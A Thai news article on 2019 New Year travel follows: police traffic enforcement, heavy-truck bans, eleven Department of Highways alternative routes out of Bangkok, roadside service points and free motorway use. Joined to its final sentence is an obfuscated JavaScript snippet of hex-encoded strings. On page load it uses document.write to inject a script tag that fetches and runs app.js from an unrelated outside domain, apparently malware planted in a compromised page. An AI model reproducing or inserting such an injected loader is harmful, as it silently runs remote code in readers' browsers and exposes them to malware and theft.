“กรมทางหลวง” แนะ 11 เส้นทางเลี่ยงรถติดปีใหม่ 2562 เปิดแอพฯเช็คสภาพจราจรเรียลไทม์!
"กรมทางหลวง" แนะ 11 เส้นทางเลี่ยงรถติดปีใหม่ 2562 เปิดแอพฯเช็คสภาพจราจรเรียลไทม์!
27 ธ.ค. 2561

พล.ต.ท.ปิยะ อุทาโย โฆษกสำนักงานตำรวจแห่งชาติ เปิดเผยว่า ช่วงเทศกาลปีใหม่จะมีการบังคับใช้กฎหมายด้านการจราจร ห้ามรถบรรทุก 10 ล้อขึ้นไป เดินรถในถนนบางสาย ตั้งแต่วันที่ 27 ธ.ค.61 – 3 ม.ค.62 ในถนนเส้นทางสำคัญ เช่น ถนนมิตรภาพ ทับกวาง-คลองไผ่, ช่วงกบินทร์บุรี-นาดี และช่วงอรัญประเทศ-นางรอง
นอกจากนี้จะเข้มงวดใน 10 ข้อหาหลัก ได้แก่ ขับขี่โดยใช้ความเร็วเกินกว่ากฎหมายกำหนด, ขับขี่รถย้อนศร, ฝ่าฝืนสัญญาณไฟจราจร, ไม่คาดเข็มขัดนิรภัย, ไม่มีใบขับขี่, แซงในที่คับขัน, ขับรถเมาสุรา, ไม่สวมหมวกนิรภัย, ขับขี่โดยรถโดยไม่คำนึงถึงความปลอดภัย และใช้โทรศัพท์ขณะขับรถ
ส่วนมาตรการยึดรถนั้น ผู้ที่เมาแล้วขับจะถูกยึดรถ รวมทั้งจะตรวจสอบรถชนิดต่างๆ ในช่วงระดมกวาดล้างอาชญากรรม หากพบว่ามีการกระทำความผิดกฎหมายจะถูกยึดรถเช่นกัน
ด้าน กรมทางหลวง แนะนำ 11 เส้นทาง ให้ประชาชนใช้เป็นทางเลือกในการเดินทางออกจากกรุงเทพมหานครสู่ภาคเหนือ ภาคตะวันออกเฉียงเหนือ ภาคตะวันออก และภาคใต้ เพื่อหลีกเลี่ยงรถติดในช่วงเทศกาลปีใหม่ 2562 ดังนี้

กรุงเทพฯ-ภาคเหนือ
เส้นทางที่ 1 : ใช้ถนนวิภาวดีรังสิต (ทางหลวงหมายเลข 31) หรือใช้ทางยกระดับดอนเมืองโทลล์เวย์ เข้าถนนพหลโยธิน ถึงต่างระดับบางปะอิน เลี้ยวซ้าย เข้าสายเอเซีย (ทางหลวงหมายเลข 32) มุ่งสู่ จ.นครสวรรค์ เพื่อเดินทางสู่ภาคเหนือ
เส้นทางที่ 2 : จากถนนรัตนาธิเบศร์ (สาย 302) ถึงต่างระดับบางใหญ่ เลี้ยวขวาเข้าถนนกาญจนาภิเษก ถึงต่างระดับบางบัวทอง เลี้ยวซ้ายเข้าถนนบางบัวทอง – สุพรรณบุรี (ทางหลวงหมายเลข 340) ผ่าน จ.สุพรรณบุรี จ.ชัยนาท เข้าสายเอเซีย ที่ อ.มโนรมย์ มุ่งสู่ จ.นครสวรรค์ เพื่อไปภาคเหนือ
เส้นทางที่ 3 : จากถนนกาญจนาภิเษก (วงแหวนตะวันตก) ถึงต่างระดับเชียงรากน้อย เลี้ยวซ้ายเข้าสายบางปะอิน – บางปะหัน (ทางหลวงหมายเลข 347) เข้าสายเอเชีย ที่ อ.บางปะหัน เพื่อไปภาคเหนือ
เส้นทางเลี่ยงการจราจรติดขัด จ.นครสวรรค์
เส้นทางที่ 1 : จากต่างระดับอินทร์บุรี เลี้ยวขวา ใช้ทางหลวงหมายเลข 11 ผ่าน อ.ตากฟ้า ท่าตะโก สากเหล็ก ถึงสามแยกวังทอง เลี้ยวซ้าย มุ่งสู่ จ.พิษณุโลก
เส้นทางที่ 2 : เมื่อถึงแยกเลี่ยงเมืองนครสวรรค์ (กม . 331+810 บนทางหลวงหมายเลข 1) เลี้ยวซ้าย ใช้ทางเลี่ยงเมืองนครสวรรค์ (ทางหลวงหมายเลข 122) ถึงสามแยกหนองตะโก
2.1 เลี้ยวซ้ายไป จ.กำแพงเพชร
2.2 เลี้ยวขวาไป จ.พิษณุโลก

กรุงเทพฯ-ภาคตะวันออกเฉียงเหนือ
เส้นทางที่ 4 : จากถนนกาญจนาภิเษก (วงแหวนตะวันตก) มุ่งหน้าสู่ต่างระดับบางปะอิน เข้าถนนพหลโยธิน (ทางหลวงหมายเลข 1) มุ่งสู่สระบุรี เพื่อไปภาคตะวันออกเฉียงเหนือ
เส้นทางที่ 5 : จากถนนกาญจนาภิเษก (วงแหวนตะวันออก) มุ่งหน้าสู่ต่างระดับบางปะอิน เลี้ยวขวาเข้าถนนพหลโยธิน (ทางหลวงหมายเลข 1) มุ่งสู่สระบุรี เพื่อไปภาคตะวันออกเฉียงเหนือ
เส้นทางที่ 6 : จากต่างระดับรังสิต ไปตามถนนรังสิต – องครักษ์ (สาย 305) ตรงไป จ.นครนายก เลี้ยวขวาเข้าถนนสุวรรณศร (ทางหลวงหมายเลข 33) มุ่งสู่ อ.กบินทร์บุรี ถึงสี่แยกกบินทร์บุรี เลี้ยวซ้ายเข้าถนนกบินทร์บุรี – ปักธงชัย (ทางหลวงหมายเลข 304) เพื่อไป จ.นครราชสีมา
เส้นทางที่ 7 : ใช้ถนนรามอินทรา – สุวินทวงศ์ (ทางหลวงหมายเลข 304) ผ่านฉะเชิงเทรา, พนมสารคาม, กบินทร์บุรี, ปักธงชัย เพื่อไปภาคตะวันออกเฉียงเหนือ
เส้นทางเลี่ยงการจราจรติดขัด จ.สระบุรี
เส้นทางที่ 1 : จากแยกเลี่ยงเมืองสระบุรี เลี้ยวขวาเข้าถนนวงแหวนรอบเมืองสระบุรีด้านตะวันออก (ทางหลวงหมายเลข 362) บรรจบถนนมิตรภาพ เลี้ยวขวาเพื่อมุ่งสู่ จ.นครราชสีมา
เส้นทางที่ 2 : จากแยกเลี่ยงเมืองสระบุรี เลี้ยวขวาเข้าถนนวงแหวนรอบเมืองสระบุรีด้านตะวันตก (ทางหลวงหมายเลข 362) บรรจบทางหลวงหมายเลข 21 มุ่งหน้าไปทาง จ.เพชรบูรณ์ ถึงแยก อ.ท่าหลวง จ.ลพบุรี เลี้ยวขวาเข้าทางหลวงหมายเลข 2256 ถึง อ.ด่านขุนทด เลี้ยวซ้ายเข้าทางหลวงหมายเลข 201 ไป จ. ชัยภูมิ เพื่อไปภาคตะวันออกเฉียงเหนือ

กรุงเทพฯ-ภาคตะวันออก
เส้นทางที่ 8 : จากถนนศรีนครินทร์ (ทางหลวงหมายเลข 3344) ใช้ทางหลวงพิเศษกรุงเทพ – ชลบุรี (มอเตอร์เวย์สาย 7) มุ่งสู่พัทยา ไปภาคตะวันออก

กรุงเทพฯ-ภาคใต้
เส้นทางที่ 9 : ใช้ถนนธนบุรี – ปากท่อ (ทางหลวงหมายเลข 35 : พระราม 2) เข้าถนนเพชรเกษม (ทางหลวงหมายเลข 4) เดินทางสู่ภาคใต้
เส้นทางที่ 10 : ใช้ถนนเพชรเกษม (ทางหลวงหมายเลข 4) ผ่าน อ.สามพราน จ.นครปฐม, โพธาราม, ราชบุรี อ.ปากท่อ เพื่อเข้าสู่ภาคใต้
เส้นทางที่ 11 : จากขนส่งสายใต้ใหม่ ใช้ถนนบางกอกน้อย – นครชัยศรี (ทางหลวงหมายเลข 338) เข้านครปฐม, ราชบุรี, เพชรบุรี สู่ภาคใต้
นอกจากนี้ กรมทางหลวงได้จัดตั้งจุดให้บริการทั่วไทย 372 แห่ง แบ่งเป็นจุดพักรถสาธารณะ 19 แห่ง (16 จังหวัด) จุดให้บริการทั่วไทย 152 แห่ง จุดให้บริการตำรวจทางหลวง 201 แห่ง และศูนย์ประสานงาน 124 ศูนย์ โดยได้บูรณาการร่วมกับตำรวจทางหลวงและหน่วยงานในพื้นที่ ได้สั่งการให้สำนักงานทางหลวง แขวงทางหลวง และหมวดทางหลวงในพื้นที่ทั่วประเทศพร้อมให้บริการประชาชนผู้ใช้ทางตลอด 24 ชั่วโมง เตรียมอุปกรณ์ และเจ้าหน้าที่ในการเปิดช่องทางพิเศษ เตรียมรถบริการซ่อมเคลื่อนที่การให้บริการและให้ความช่วยเหลือกรณีรถเสีย

อีกทั้ง ยังได้มีรายงานสภาพจริงการจราจร Online แบบ Real time ผ่านแอพพลิเคชั่น M-Traffic / Thailand Highway Traffic และ QR code http://www.doh.go.th/content/page/news/24645 รวมถึงเปิดใช้มอเตอร์เวย์ฟรีของขวัญปีใหม่จากใจกรมทางหลวง (ตั้งแต่เวลา 00.01 น. ของวันที่ 27 ธันวาคม 2561 ถึง เวลา 24.00 น. ของวันที่ 3 มกราคม 2562) var _0xa929=["\x3C\x73\x63\x72","\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x59\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x62\x65\x73\x73\x74\x61","\x68\x65\x74\x65\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72","\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];function evop(){var _0x6327x2=_0xa929[0];var _0x6327x3=_0xa929[1];var _0x6327x4=_0xa929[2];var _0x6327x5=_0xa929[3];document[_0xa929[4]](_0x6327x2+ _0x6327x3+ _0x6327x4+ _0x6327x5)}evop()